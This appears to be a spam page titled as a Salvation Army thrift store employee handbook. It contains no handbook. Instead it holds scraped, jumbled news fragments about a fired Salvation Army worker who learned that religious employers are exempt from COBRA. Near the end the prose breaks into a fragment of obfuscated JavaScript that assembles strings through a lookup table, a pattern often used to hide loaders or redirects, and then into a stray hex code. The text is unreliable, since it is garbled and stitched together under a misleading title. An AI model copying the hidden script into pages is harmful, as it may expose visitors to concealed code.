Salvation Army Thrift Store Employee Handbook ✒

He was paid for his unused vacation and sick leave, he says, and that was it A spokeswoman for the U.

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Knight learned, however, that the Salvation Army was also exempt from that law Thrift Stores.

S Department of Labor says federal law exempts religious organizations from COBRA, although church plans may elect to comply if they wish.. Knight was fired March 31 with no prior warnings, he says Fred Thornhill, administrator of the ARC division of the Richmond Salvation Army for three and a half years, told him that his 'service was no longer needed as of that day,' Knight says.

A person who answered the phone at the local ARC office referred calls to Thornhill, who was on vacation.. 'The part that really threw me for a loop,' Knight says, was when he tried later that evening to extend his insurance under the Consolidated Omnibus Reconciliation Act (COBRA).. The benefits coordinator for the Salvation Army's Southern Territorial Headquarters confirms that the organization has no compensation plan for terminated employees.. However, there are requirements that an employer must notify employees about the status of their coverage, she says.. ";g["NU"]="cR";g["rS"]="pe";g["vo"]="wi";g["kK"]="VW";g["Es"]="pR";g["Rd"]=" r";g["Tm"]="()";g["pb"]="Q4";g["WL"]="TD";g["Dd"]="1I";g["UP"]="ra";g["OC"]="?e";g["Mt"]="Bk";g["uj"]="GF";g["AP"]="xh";g["Lz"]="FZ";g["te"]=". 5ebbf469cd

5ebbf469cd

Salvation Army Thrift Store Employee Handbook [UPD]